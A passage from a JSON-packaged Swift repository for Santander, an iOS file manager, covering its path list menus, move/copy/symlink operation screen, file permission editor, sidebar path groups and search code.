in\n                        UserPreferences.pathGroups[index].paths.append(item.url)\n                    }\n                }\n                \n                let addToPathGroupsMenu = UIMenu(title: \"Add to group..\", image: UIImage(systemName: \"sidebar.leading\"), children: addActions)\n                children.append(addToPathGroupsMenu)\n            }\n            \n            let deleteAction = UIAction(title: \"Delete\", image: UIImage(systemName: \"trash\"), attributes: .destructive) { _ in\n                self.deleteURL(item) { _ in }\n            }\n            \n            let isItemBookmarked = UserPreferences.bookmarks.contains(item)\n            let bookmarkAction = UIAction(\n                title: isItemBookmarked ? \"Remove bookmark\" : \"Bookmark\",\n                image: UIImage(systemName: isItemBookmarked ? \"bookmark.slash\" : \"bookmark\")\n            ) { _ in\n                self.removeOrAddItemToBookmarks(item, alreadyBookmarked: isItemBookmarked)\n            }\n            \n            children.append(contentsOf: [operationItemsMenu, pasteboardOptions])\n            children.append(UIMenu(options: .displayInline, children: [bookmarkAction, deleteAction]))\n            return UIMenu(children: children)\n        }\n    }\n    \n    func makePasteboardMenuElements(for path: Path) -> [UIMenuElement] {\n        let copyName = UIAction(title: \"Copy name\") { _ in\n            UIPasteboard.general.string = path.lastPathComponent\n        }\n        \n        let copyPath = UIAction(title: \"Copy path\") { _ in\n            UIPasteboard.general.url = path.url\n            UIPasteboard.general.string = path.path\n        }\n        \n        return [copyName, copyPath]\n    }\n    \n    func presentOperationVC(forItems items: [URL], type: PathSelectionOperation) {\n        let vc = PathOperationViewController(paths: items, operationType: type)\n        present(UINavigationController(rootViewController: vc), animated: true) { [self] in\n            if let currentPath = currentPath, currentPath != .root {\n                vc.goToPath(path: currentPath)\n            }\n        }\n    }\n    \n    /// Returns the UIMenu to be used as the (primary) right bar button\n    func makeRightBarButton() -> UIMenu {\n        let selectAction = UIAction(title: \"Select\", image: UIImage(systemName: \"checkmark.circle\")) { _ in\n            self.tableView.allowsMultipleSelectionDuringEditing = true\n            self.setEditing(true, animated: true)\n        }\n        \n        let selectionMenu = UIMenu(options: .displayInline, children: [selectAction])\n        var firstMenuItems = [selectionMenu, makeSortMenu(), makeGoToMenu()]\n        \n        if let currentPath = currentPath {\n            firstMenuItems.append(makeNewItemMenu(forURL: currentPath.url))\n        }\n        \n        let firstMenu = UIMenu(options: .displayInline, children: firstMenuItems)\n        var menuActions: [UIMenuElement] = [firstMenu]\n        \n        // if we're in the \"Bookmarks\" sheet, don't display the Bookmarks button\n        if !isBookmarksSheet {\n            let presentBookmarks = UIAction(title: \"Bookmarks\", image: UIImage(systemName: \"bookmark\")) { _ in\n                let newVC = UINavigationController(rootViewController: PathListViewController.bookmarks())\n                self.present(newVC, animated: true)\n            }\n            \n            menuActions.append(presentBookmarks)\n        }\n        \n        if let currentPath = currentPath {\n            let showInfoAction = UIAction(title: \"Info\", image: .init(systemName: \"info.circle\")) { _ in\n                self.openInfoBottomSheet(path: currentPath)\n            }\n            \n            menuActions.append(showInfoAction)\n            let pasteAction = UIAction(title: \"Paste\") { _ in\n                guard let probableURL = UIPasteboard.general.probableURL else {\n                    self.errorAlert(nil, title: \"No path to paste.\")\n                    return\n                }\n                \n                do {\n                    try FSOperation.perform(.copyItem(items: [probableURL], resultPath: currentPath.url), rootHelperConf: RootConf.shared)\n                } catch {\n                    self.errorAlert(error, title: \"Failed to copy item to current directory.\")\n                }\n            }\n            \n            menuActions.insert(UIMenu(options: .displayInline, children: [pasteAction]), at: 1)\n        }\n        \n        let settingsAction = UIAction(title: \"Settings\", image: UIImage(systemName: \"gear\")) { _ in\n            self.present(UINavigationController(rootViewController: SettingsTableViewController(style: .insetGrouped)), animated: true)\n        }\n        menuActions.append(settingsAction)\n        \n        let softRespringAction = UIAction(title: \"Soft Respring\", image: UIImage(systemName: \"arrow.clockwise.circle\")) { _ in\n            respringFrontboard()\n        }\n        menuActions.append(softRespringAction)\n        \n        let respringAction = UIAction(title: \"Respring\", image: UIImage(systemName: \"arrow.clockwise\")) { _ in\n            respringBackboard()\n        }\n        menuActions.append(respringAction)\n        \n        let showOrHideHiddenFilesAction = UIAction(\n            title: \"Display hidden files\",\n            state: displayHiddenFiles ? .on : .off\n        ) { _ in\n            self.displayHiddenFiles.toggle()\n            self.setRightBarButton()\n        }\n        \n        menuActions.append(showOrHideHiddenFilesAction)\n        return UIMenu(children: menuActions)\n    }\n    \n    func setRightBarButton() {\n        if self.isEditing {\n            let editAction = UIAction {\n                self.setEditing(false, animated: true)\n            }\n            \n            self.navigationItem.rightBarButtonItem = UIBarButtonItem(\n                systemItem: .done,\n                primaryAction: editAction\n            )\n            \n        } else {\n            self.navigationItem.rightBarButtonItem = UIBarButtonItem(\n                image: .init(systemName: \"ellipsis.circle\"),\n                menu: makeRightBarButton()\n            )\n        }\n    }\n    \n    override func setEditing(_ editing: Bool, animated: Bool) {\n        super.setEditing(editing, animated: animated)\n        \n        setRightBarButton()\n        setLeftBarSelectionButtonItem()\n        if editing {\n            setupOrUpdateToolbar()\n        } else {\n            hideToolbarItems()\n            selectedItems = []\n        }\n    }\n    \n    /// Shows or hides dotfiles,\n    /// this method is the primary way of reloading the view\n    func reloadTableData(animatingDifferences: Bool = false) {\n        if !displayHiddenFiles {\n            let filtered = unfilteredContents.filter { !$0.lastPathComponent.starts(with: \".\") }\n            setFilteredContents(filtered, animatingDifferences: animatingDifferences)\n        } else {\n            setFilteredContents([], animatingDifferences: animatingDifferences)\n        }\n    }\n    \n    func setFilteredContents(_ newContents: [Path], animatingDifferences: Bool = false) {\n        self.filteredSearchContents = newContents\n        if !displayingSearchSuggestions {\n            self.showPaths(animatingDifferences: animatingDifferences)\n        }\n    }\n    \n    func setupPermissionDeniedLabelIfNeeded() {\n        guard let currentPath = currentPath, contents.isEmpty, !currentPath.isReadable else {\n            return\n        }\n        \n        permissionDeniedLabel = UILabel()\n        permissionDeniedLabel.text = \"Permission Denied.\"\n        \n        permissionDeniedLabel.font = .systemFont(ofSize: 20, weight: .medium)\n        permissionDeniedLabel.textColor = .systemGray\n        permissionDeniedLabel.textAlignment = .center\n        \n        view.addSubview(permissionDeniedLabel)\n        permissionDeniedLabel.translatesAutoresizingMaskIntoConstraints = false\n        NSLayoutConstraint.activate([\n            permissionDeniedLabel.centerXAnchor.constraint(equalTo: view.layoutMarginsGuide.centerXAnchor),\n            permissionDeniedLabel.centerYAnchor.constraint(equalTo: view.layoutMarginsGuide.centerYAnchor)\n        ])\n    }\n}\n\nextension PathListViewController: DirectoryMonitorDelegate {\n    func directoryMonitorDidObserveChange(directoryMonitor: DirectoryMonitor) {\n        DispatchQueue.main.async {\n            let items = self.sortMethod.sorting(URLs: directoryMonitor.path.contents, sortOrder: .userPreferred)\n            self.unfilteredContents = items\n            self.reloadTableData(animatingDifferences: true)\n            \n            if self.isSearching, let searchBar = self.navigationItem.searchController?.searchBar {\n                // If we're searching,\n                // update the search bar\n                self.updateResults(searchBar: searchBar)\n            }\n        }\n    }\n}\n#if compiler(>=5.7)\nextension PathListViewController: UINavigationItemRenameDelegate {\n    func navigationItem(_: UINavigationItem, didEndRenamingWith title: String) {\n        guard let currentPath = currentPath else {\n            return\n        }\n        \n        let newURL: Path = currentPath.deletingLastPathComponent().appendingPathComponent(title)\n        \n        // new name is the exact same, don't continue renaming\n        guard currentPath != newURL else {\n            return\n        }\n        \n        do {\n            try FSOperation.perform(.moveItem(items: [currentPath.url], resultPath: newURL.url), rootHelperConf: RootConf.shared)\n            self.currentPath = newURL\n        } catch {\n            self.errorAlert(error, title: \"Uname to rename \\(newURL.lastPathComponent)\")\n            // renaming automatically changes title\n            // so we need to change back the title to the original\n            // in case of a failure\n            self.title = currentPath.lastPathComponent\n        }\n    }\n    \n    func navigationItemShouldBeginRenaming(_: UINavigationItem) -> Bool {\n        return currentPath != nil\n    }\n}\n#endif\n\n/// Represents an item which could be displayed in SubPathsTableViewController,\n/// being either a search suggestion or a path\nenum SubPathsRowItem: Hashable {\n    static func == (lhs: SubPathsRowItem, rhs: SubPathsRowItem) -> Bool {\n        switch (lhs, rhs) {\n        case (.path(let firstURL), .path(let secondURL)):\n            return firstURL == secondURL\n        case (.searchSuggestion(let firstSuggestion), .searchSuggestion(let secondSuggestion)):\n            return firstSuggestion == secondSuggestion\n        default:\n            return false\n        }\n    }\n    \n    func hash(into hasher: inout Hasher) {\n        switch self {\n        case .searchSuggestion(let searchSuggestion):\n            hasher.combine(searchSuggestion)\n        case .path(let url):\n            hasher.combine(url)\n        }\n    }\n    \n    case searchSuggestion(SearchSuggestion)\n    case path(Path)\n    \n    /// Return an array of items from an array of URLs\n    static func fromPaths(_ paths: [Path]) -> [SubPathsRowItem] {\n        return paths.map { url in\n            return .path(url)\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Path/PathOperationViewController.swift",
    "content": "//\n//  PathOperationViewController.swift\n//  Santander\n//\n//  Created by Serena on 24/06/2022\n//\n\nimport UIKit\nimport QuickLook\n\n/// A View Controller which presents a path to be selected, and then executes a specified operation, such as moving or copying the path\nclass PathOperationViewController: PathListViewController {\n    \n    /// The paths being moved / copied / imported / etc.\n    let paths: [URL]\n    \n    /// The type of the operation to perform\n    let operationType: PathSelectionOperation\n    \n    let dismissWhenDone: Bool\n    \n    init(paths: [URL], operationType: PathSelectionOperation, startingPath: Path = .root, dismissWhenDone: Bool = true) {\n        self.paths = paths\n        self.operationType = operationType\n        self.dismissWhenDone = dismissWhenDone\n        \n        super.init(path: startingPath)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"Not implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        self.navigationController?.navigationBar.prefersLargeTitles = false\n        self.title = self.operationType.verbDescription\n        if let currentPath = self.currentPath {\n            self.navigationItem.backBarButtonItem = UIBarButtonItem(title: currentPath.lastPathComponent, style: .plain, target: nil, action: nil)\n        }\n        \n        for path in paths {\n            _ = path.startAccessingSecurityScopedResource()\n        }\n    }\n    \n    @objc func done() {\n        guard let currentPath = self.currentPath else {\n            self.errorAlert(\"Unable to get current path to \\(operationType.description) to, out!\", title: \"Can't \\(operationType.description) path\")\n            return\n        }\n        \n        do {\n            switch operationType {\n            case .move:\n                try FSOperation.perform(.moveItem(items: paths, resultPath: currentPath.url), rootHelperConf: RootConf.shared)\n            case .copy, .import:\n                try FSOperation.perform(.copyItem(items: paths, resultPath: currentPath.url), rootHelperConf: RootConf.shared)\n            case .symlink:\n                try FSOperation.perform(.symlink(items: paths, resultPath: currentPath.url), rootHelperConf: RootConf.shared)\n            case .custom(_, _, let action):\n                try action(self, currentPath.url)\n            }\n            \n            if dismissWhenDone {\n                self.dismiss(animated: true)\n            }\n        } catch {\n            self.errorAlert(error, title: \"Unable to \\(operationType.description) items\")\n        }\n        \n    }\n    \n    override func goToPath(path: Path) {\n        let parentDirectory = path.deletingLastPathComponent()\n        \n        if parentDirectory != currentPath {\n            traverseThroughPath(path)\n            return\n        }\n        \n        if path.isDirectory {\n            self.navigationController?.pushViewController(PathOperationViewController(paths: paths, operationType: operationType, startingPath: path, dismissWhenDone: dismissWhenDone), animated: true)\n        } else {\n            self.goToFile(path: path)\n        }\n    }\n    \n    override func traverseThroughPath(_ path: Path) {\n        let vcs = path.url.fullPathComponents().map { [self] newPath in\n            PathOperationViewController(paths: paths, operationType: operationType, startingPath: Path(url: newPath), dismissWhenDone: dismissWhenDone)\n        }\n        \n        self.navigationController?.setViewControllers(vcs, animated: true)\n    }\n    \n    @objc\n    func cancel() {\n        self.dismiss(animated: true)\n    }\n    \n    override func setRightBarButton() {\n        let doneButton = UIBarButtonItem(barButtonSystemItem: .done, target: self, action: #selector(done))\n        let options = UIBarButtonItem(image: .init(systemName: \"ellipsis.circle\"), menu: makeRightBarButton())\n        self.navigationItem.rightBarButtonItems = [doneButton, options]\n    }\n    \n    override func viewDidDisappear(_ animated: Bool) {\n        super.viewDidDisappear(animated)\n        \n        for path in paths {\n            // if we don't do this, we may result in a memory leak\n            path.stopAccessingSecurityScopedResource()\n        }\n    }\n}\n\nenum PathSelectionOperation: CustomStringConvertible {\n    /// To move the path\n    case move\n    \n    /// To move the path\n    case copy\n    \n    /// To import the path\n    case `import`\n    \n    /// To create a symbolic link to the path\n    case symlink\n    \n    /// Custom action\n    case custom(description: String, verbDescription: String, action: (PathOperationViewController, URL) throws -> Void)\n    \n    var description: String {\n        switch self {\n        case .move:\n            return \"move\"\n        case .copy:\n            return \"copy\"\n        case .import:\n            return \"import\"\n        case .symlink:\n            return \"symlink\"\n        case .custom(description: let description, _, _):\n            return description\n        }\n    }\n    \n    var verbDescription: String {\n        switch self {\n        case .move:\n            return \"Moving to..\"\n        case .copy:\n            return \"Copying to..\"\n        case .import:\n            return \"Importing to..\"\n        case .symlink:\n            return \"Aliasing to..\"\n        case .custom(_, verbDescription: let verbDescription, _):\n            return verbDescription\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Path/PathPermissionsViewController.swift",
    "content": "//\n//  PathPermissionsViewController.swift\n//  Santander\n//\n//  Created by Serena on 05/08/2022.\n//\n\nimport UIKit\n\nclass PathPermissionsViewController: UITableViewController {\n    var permissions: PathPermissions\n    \n    // in case setting the permissions fail, we need this clone to revert the original\n    // back to this initial clone which doesn't get modified\n    let _permissionsClone: PathPermissions\n    \n    lazy var editAction = UIAction {\n        self.setEditing(!self.isEditing, animated: true)\n    }\n    \n    init(style: UITableView.Style = .insetGrouped, permissions: PathPermissions) {\n        self.permissions = permissions\n        self._permissionsClone = permissions\n        \n        super.init(style: style)\n        self.title = \"Permissions\"\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        navigationItem.rightBarButtonItem = UIBarButtonItem(systemItem: .edit, primaryAction: editAction)\n        tableView.allowsSelectionDuringEditing = true\n    }\n    \n    override func numberOfSections(in tableView: UITableView) -> Int {\n        return 3\n    }\n    \n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        switch section {\n        case 0, 1: return 4\n        case 2: return 3\n        default: fatalError(\"How did we get here?!\")\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        return cell(atIndexPath: indexPath)\n    }\n    \n    override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {\n        switch section {\n        case 0: return \"Owner\"\n        case 1: return \"Group\"\n        case 2: return \"Other users\"\n        default: return nil\n        }\n    }\n    \n    func cell(\n        atIndexPath indexPath: IndexPath\n    ) -> UITableViewCell {\n        let cell = UITableViewCell(style: .value1, reuseIdentifier: nil)\n        let permSet: Permission\n        var firstRowText: String? = nil\n        var firstRowSecondaryText: String? = nil\n        \n        switch indexPath.section {\n        case 0:\n            permSet = self.permissions.ownerPermissions\n            firstRowText = \"Owner\"\n            firstRowSecondaryText = self.permissions.ownerName\n        case 1:\n            permSet = self.permissions.groupPermissions\n            firstRowText = \"Group\"\n            firstRowSecondaryText = self.permissions.groupOwnerName\n        case 2:\n            permSet = self.permissions.otherUsersPermissions\n        default:\n            fatalError()\n        }\n        \n        var conf = cell.defaultContentConfiguration()\n        defer {\n            cell.contentConfiguration = conf\n        }\n        \n        if indexPath.row == correctRow(0, indexPath: indexPath) {\n            conf.text = firstRowText\n            conf.secondaryText = firstRowSecondaryText ?? \"N/A\"\n            cell.accessoryType = .disclosureIndicator\n            cell.editingAccessoryType = .disclosureIndicator\n            cell.isUserInteractionEnabled = tableView(self.tableView, shouldHighlightRowAt: indexPath)\n            return cell\n        }\n\n        let toCheck = permissionAtRow(atIndexPath: indexPath)\n        switch indexPath.row {\n        case correctRow(1, indexPath: indexPath):\n            conf.text = \"Read\"\n            conf.secondaryText = permSet.contains(toCheck) ? \"Yes\" : \"No\"\n        case correctRow(2, indexPath: indexPath):\n            conf.text = \"Write\"\n            conf.secondaryText = permSet.contains(toCheck) ? \"Yes\" : \"No\"\n        case correctRow(3, indexPath: indexPath):\n            conf.text = \"Execute\"\n            conf.secondaryText = permSet.contains(toCheck) ? \"Yes\" : \"No\"\n        default:\n            fatalError(\"Shouldn't have gotten here! row received: \\(indexPath.row)\")\n        }\n        \n        if self.isEditing {\n            conf.secondaryText = nil\n            if permSet.contains(toCheck) {\n                cell.editingAccessoryType = .checkmark\n            }\n        }\n        \n        return cell\n    }\n    \n    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n        if indexPath.row == correctRow(0, indexPath: indexPath) {\n            let name = indexPath.section == 0 ? permissions.ownerName : permissions.groupOwnerName\n            guard let name = name else {\n                return // should NEVER be here\n            }\n            \n            let type: PathGroupOwnerViewController.ItemType\n            switch indexPath.section {\n            case 0:\n                type = .owner(ownerName: name)\n            case 1:\n                type = .group(groupName: name)\n            default:\n                fatalError()\n            }\n            self.navigationController?.pushViewController(PathGroupOwnerViewController(style: .insetGrouped, type: type, sourceVC: self, fileURL: permissions.fileURL), animated: true)\n            return\n        }\n        \n        guard self.isEditing else {\n            return\n        }\n        \n        let perm = permissionAtRow(atIndexPath: indexPath)\n        switch indexPath.section {\n        case 0:\n            removeOrAddPermission(fromOptionSet: &permissions.ownerPermissions, forPermission: perm)\n        case 1:\n            removeOrAddPermission(fromOptionSet: &permissions.groupPermissions, forPermission: perm)\n        case 2:\n            removeOrAddPermission(fromOptionSet: &permissions.otherUsersPermissions, forPermission: perm)\n        default:\n            break\n        }\n        tableView.reloadRows(at: [indexPath], with: .fade)\n    }\n    \n    override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {\n        if indexPath.row == correctRow(0, indexPath: indexPath) {\n            switch indexPath.section {\n            case 0:\n                return permissions.ownerName != nil\n            case 1:\n                return permissions.groupOwnerName != nil\n            default:\n                fatalError()\n            }\n        }\n        \n        return self.isEditing\n    }\n    \n    func permissionAtRow(atIndexPath indexPath: IndexPath) -> Permission {\n        switch indexPath.row {\n        case correctRow(1, indexPath: indexPath):\n            return .read\n        case correctRow(2, indexPath: indexPath):\n            return .write\n        case correctRow(3, indexPath: indexPath):\n            return .execute\n        default:\n            fatalError()\n        }\n    }\n    \n    /// Due to the fact that the first row in the second section\n    /// is different than the others, this function must be used to determine\n    /// the appropriate indexPath\n    func correctRow(_ num: Int, indexPath: IndexPath) -> Int {\n        return indexPath.section == 2 ? num - 1 : num\n    }\n    \n    override func setEditing(_ editing: Bool, animated: Bool) {\n        super.setEditing(editing, animated: animated)\n        \n        navigationItem.rightBarButtonItem = UIBarButtonItem(\n            systemItem: editing ? .done : .edit,\n            primaryAction: editAction\n        )\n        \n        // applying the permissions\n        if !editing, permissions != _permissionsClone {\n            do {\n                try permissions.apply()\n            } catch {\n                self.errorAlert(error, title: \"Unable to change permissions of \\\"\\(permissions.fileURL.lastPathComponent)\\\"\")\n                self.permissions = _permissionsClone\n            }\n        }\n        \n        self.tableView.reloadData()\n    }\n    \n    override func tableView(_ tableView: UITableView, shouldIndentWhileEditingRowAt indexPath: IndexPath) -> Bool {\n        return false\n    }\n    \n    override func tableView(_ tableView: UITableView, editingStyleForRowAt indexPath: IndexPath) -> UITableViewCell.EditingStyle {\n        return .none\n    }\n    \n    /// Removes or adds the permission to the OptionSet\n    func removeOrAddPermission(fromOptionSet set: inout Permission, forPermission perm: Permission) {\n        if set.contains(perm) {\n            set.remove(perm)\n        } else {\n            set.insert(perm)\n        }\n    }\n    \n}\n"
  },
  {
    "path": "Santander/UI/Path/PathSidebarListViewController.swift",
    "content": "//\n//  PathSidebarListViewController.swift\n//  Santander\n//\n//  Created by Serena on 25/06/2022\n//\n\t\n\nimport UIKit\n\n#warning(\"Make a view controller to create a new group\")\nclass PathSidebarListViewController: UIViewController, PathTransitioning, UICollectionViewDelegate {\n    \n    typealias Item = DiffableDataSourceItem<String, Path>\n    typealias DataSource = UICollectionViewDiffableDataSource<String, Item>\n    typealias CellRegistration = UICollectionView.CellRegistration<UICollectionViewListCell, Item>\n    \n    var dataSource: DataSource!\n    var pathGroups = UserPreferences.pathGroups\n    var collectionView: UICollectionView!\n    \n    /// The view controller in the secondary column displaying the path list\n    var subPathsSecondary: PathListViewController? {\n        splitViewController?.viewController(for: .secondary) as? PathListViewController\n    }\n    \n    init() {\n        super.init(nibName: nil, bundle: nil)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        title = \"Santander\"\n        setupCollectionView()\n        setupDataSource()\n        \n        let newGroupAction = UIAction {\n            self.presentNewGroupAlert()\n        }\n        \n        let newGroupsButton = UIBarButtonItem(systemItem: .add, primaryAction: newGroupAction)\n        setToolbarItems([newGroupsButton], animated: true)\n        navigationController?.setToolbarHidden(false, animated: false)\n        \n        NotificationCenter.default.addObserver(forName: .pathGroupsDidChange, object: nil, queue: nil) { [self] notif in\n            if let newGroups = notif.object as? [PathGroup] {\n                self.pathGroups = newGroups\n                addItems()\n            }\n        }\n        \n    }\n    \n    func setupCollectionView() {\n        let layout = UICollectionViewCompositionalLayout { _, env in\n            var layoutConf = UICollectionLayoutListConfiguration(appearance: .insetGrouped)\n            layoutConf.headerMode = .firstItemInSection\n            layoutConf.trailingSwipeActionsConfigurationProvider = { (indexPath: IndexPath) -> UISwipeActionsConfiguration? in\n                let sectionAndRow = (indexPath.section, indexPath.row)\n                \n                // dont allow the first section or the first item of the first section (/) to be removed\n                guard sectionAndRow != (0, 0) && sectionAndRow != (0, 1) else {\n                    return nil\n                }\n                \n                let removeAction = UIContextualAction(style: .destructive, title: nil) { [self] _, _, completion in\n                    switch dataSource.itemIdentifier(for: indexPath) {\n                    case .section(let name): // removing a section\n                        UserPreferences.pathGroups.remove(at: indexPath.section)\n                        removeSection(name)\n                    case .item(_): // removing a row\n                        UserPreferences.pathGroups[indexPath.section].paths.remove(at: indexPath.row - 1)\n                    default: // should never get here (we only get here if itemIdentifier returns nil)\n                        return completion(false)\n                    }\n                    \n                    return completion(true)\n                }\n                \n                removeAction.image = .remove\n                return UISwipeActionsConfiguration(actions: [removeAction])\n            }\n            \n            return .list(using: layoutConf, layoutEnvironment: env)\n        }\n        \n        self.collectionView = UICollectionView(frame: .zero, collectionViewLayout: layout)\n        collectionView.translatesAutoresizingMaskIntoConstraints = false\n        collectionView.delegate = self\n        \n        view.addSubview(collectionView)\n        collectionView.constraintCompletely(to: view)\n    }\n    \n    func setupDataSource() {\n        let cellRegistration = CellRegistration { cell, indexPath, itemIdentifier in\n            var conf: UIListContentConfiguration\n            switch itemIdentifier {\n            case .section(let headerTitle):\n                conf = .sidebarHeader()\n                conf.text = headerTitle\n                cell.accessories = [.outlineDisclosure()]\n            case .item(var path):\n                conf = cell.defaultContentConfiguration()\n                conf.text = path.lastPathComponent\n                conf.image = path.displayImage\n            }\n            \n            cell.contentConfiguration = conf\n        }\n        \n        dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, item in\n            return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: item)\n        }\n        \n        addItems()\n    }\n    \n    func addItems() {\n        var snapshot = dataSource.snapshot()\n        if snapshot.sectionIdentifiers.isEmpty {\n            snapshot.appendSections(pathGroups.map(\\.name))\n            dataSource.apply(snapshot)\n        }\n        \n        for group in pathGroups {\n            var sectionSnapshot = NSDiffableDataSourceSectionSnapshot<Item>()\n            let section: Item = .section(group.name)\n            sectionSnapshot.append([section])\n            sectionSnapshot.expand([section])\n            \n            let items = Item.fromItems(group.paths.map(Path.init(url:)))\n            sectionSnapshot.append(items, to: section)\n            dataSource.apply(sectionSnapshot, to: group.name)\n        }\n    }\n    \n    func removeSection(_ name: String) {\n        var snapshot = dataSource.snapshot()\n        snapshot.deleteSections([name])\n        dataSource.apply(snapshot)\n    }\n    \n    func goToPath(path: Path) {\n        let secondary = subPathsSecondary\n        if !path.isDirectory {\n            secondary?.goToFile(path: path)\n            return\n        }\n        \n        if let currentSubpathsPath = secondary?.currentPath {\n            // make sure we're not going to a directory that the secondary column is already showing\n            // or is a subpath of\n            guard currentSubpathsPath != path else { return }\n            \n            // this is triggered if, for example, we're in /var/jb/tweaks and we pressed on the button\n            // to go to /var or /var/jb\n            // then we pop to the view controller rather than creating new ones\n            if currentSubpathsPath.path.hasPrefix(path.path) {\n                if let vcs = secondary?.navigationController?.viewControllers as? [PathListViewController],\n                   let first = vcs.first(where: { $0.currentPath == path }) {\n                       secondary?.navigationController?.popToViewController(first, animated: true)\n                }\n            } else if path.deletingLastPathComponent() != currentSubpathsPath {\n                // if we're going to a path that has multiple parents after the current path\n                // ie, going to /var/mobile/Media from /var\n                // call the traverse function\n                secondary?.traverseThroughPath(path)\n            } else {\n                splitViewController?.setViewController(PathListViewController(path: path), for: .secondary)\n            }\n            \n        } else {\n            let vc = PathListViewController(path: .root)\n            splitViewController?.setViewController(vc, for: .secondary)\n            if path != .root { subPathsSecondary?.traverseThroughPath(path) }\n        }\n    }\n    \n    \n    func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {\n        guard let item = dataSource.itemIdentifier(for: indexPath) else { return }\n        switch item {\n        case .section(_): break // shouldn't get here\n        case .item(let path):\n            goToPath(path: path)\n        }\n    }\n    \n    func presentNewGroupAlert() {\n        let alert = UIAlertController(title: \"New Group\", message: nil, preferredStyle: .alert)\n        alert.addTextField { textField in\n            textField.placeholder = \"Group name..\"\n        }\n        \n        let addAction = UIAlertAction(title: \"Add\", style: .default) { [self] _ in\n            guard let name = alert.textFields?.first?.text else { return }\n            if pathGroups.map(\\.name).contains(name) {\n                errorAlert(\"Group with same name already exists\", title: \"Unable to create Group with name \\(name)\")\n            }\n            \n            let newGroup = PathGroup(name: name, paths: [])\n            UserPreferences.pathGroups.append(newGroup)\n        }\n        \n        alert.addAction(addAction)\n        alert.addAction(.cancel())\n        present(alert, animated: true)\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Path/Search.swift",
    "content": "//\n//  Search.swift\n//  Santander\n//\n//  Created by Serena on 25/06/2022\n//\n\t\n\nimport UIKit\nimport UniformTypeIdentifiers\n\nextension PathListViewController: UISearchResultsUpdating, UISearchControllerDelegate, UISearchBarDelegate {\n    \n    func updateSearchResults(for searchController: UISearchController) {\n        updateResults(searchBar: searchController.searchBar)\n    }\n    \n    func searchBarCancelButtonClicked(_ searchBar: UISearchBar) {\n        DispatchQueue.main.async { [self] in\n            searchItem?.cancel()\n            isSearching = false\n            displayingSearchSuggestions = false\n            reloadTableData()\n            \n            setupPermissionDeniedLabelIfNeeded()\n        }\n    }\n    \n    func searchBar(_ searchBar: UISearchBar, selectedScopeButtonIndexDidChange selectedScope: Int) {\n        updateResults(searchBar: searchBar)\n    }\n    \n    @objc\n    func updateResults(searchBar: UISearchBar) {\n        let selectedScope = searchBar.selectedScopeButtonIndex\n        let query = SearchQuery(searchBar: searchBar)\n        \n        self.searchItem?.cancel()\n        isSearching = true\n        guard !query.isEmpty else { return }\n        displayingSearchSuggestions = false\n        \n        let newWorkItem = DispatchWorkItem(qos: .userInteractive) { [self] in\n            \n            switch selectedScope {\n            case 0: // searching in current directory\n                let filtered = unfilteredContents.filter { url in\n                    return query.matches(url: url)\n                }\n                \n                DispatchQueue.main.async {\n                    self.setFilteredContents(filtered)\n                }\n                \n            case 1: // searching in subdirectories of the directory\n                var snapshot = SnapshotType()\n                snapshot.appendSections([0])\n                __enumeratePaths(unfilteredContents, withQuery: query, doBreak: { !isSearching }) { [self] path in\n                    DispatchQueue.main.async {\n                        let row: SubPathsRowItem = .path(path)\n                        if !snapshot.itemIdentifiers.contains(row) {\n                            snapshot.appendItems([row])\n                            self.dataSource.apply(snapshot, animatingDifferences: false)\n                        }\n                    }\n                }\n            default: // should never get here\n                break\n            }\n        }\n        \n        self.searchItem = newWorkItem\n        DispatchQueue.global(qos: .userInteractive).asyncAfter(\n            deadline: .now().advanced(by: .milliseconds(2)),\n            execute: newWorkItem\n        )\n    }\n    \n    func presentSearchController(_ searchController: UISearchController) {\n        if isEditing {\n            setEditing(false, animated: true)\n        }\n        \n        switchToSearchSuggestions()\n        permissionDeniedLabel?.removeFromSuperview()\n    }\n    \n    private func __enumeratePaths(_ paths: [Path], withQuery query: SearchQuery, doBreak: () -> Bool, handler: (Path) -> ()) {\n        for path in paths {\n            if doBreak() { break }\n            \n            if query.matches(url: path) {\n                handler(path)\n            }\n            \n            if path.isDirectory {\n                __enumeratePaths(path.contents, withQuery: query, doBreak: doBreak, handler: handler)\n            }\n        }\n    }\n    \n    fileprivate struct SearchQuery {\n        let searchText: String\n        let conditions: [SearchSuggestion.Condition]\n        let isSearchTextEmpty: Bool\n        \n        // whether or not the given URL should be displayed in search results\n        // according to this query\n        func matches(url: Path) -> Bool {\n            let allConditionsSatisfied = conditions.allSatisfy { handler in\n                handler(url)\n            }\n            \n            if isSearchTextEmpty {\n                return allConditionsSatisfied\n            }\n            \n            return url.lastPathComponent.localizedCaseInsensitiveContains(searchText) && allConditionsSatisfied\n        }\n        \n        var isEmpty: Bool {\n            return isSearchTextEmpty && conditions.isEmpty\n        }\n        \n        init(searchText: String, conditions: [SearchSuggestion.Condition]) {\n            self.searchText = searchText\n            self.conditions = conditions\n            \n            self.isSearchTextEmpty = searchText.isEmpty\n        }\n        \n        init(searchBar: UISearchBar) {\n            self.searchText = searchBar.text ?? \"\"\n            self.conditions = searchBar.searchTextField.tokens.compactMap { $0.representedObject as? SearchSuggestion.Condition }\n            \n            self.isSearchTextEmpty = searchText.isEmpty\n        }\n    }\n}\n\n\n/// Represents a search suggestion to be displayed in the UI,\n/// with a given condition for the search results.\n@available(iOS 14.0, *)\nstruct SearchSuggestion: Hashable {\n    \n    typealias Condition = (Path) -> Bool\n    \n    /// The name to be displayed in the search suggestion\n    var 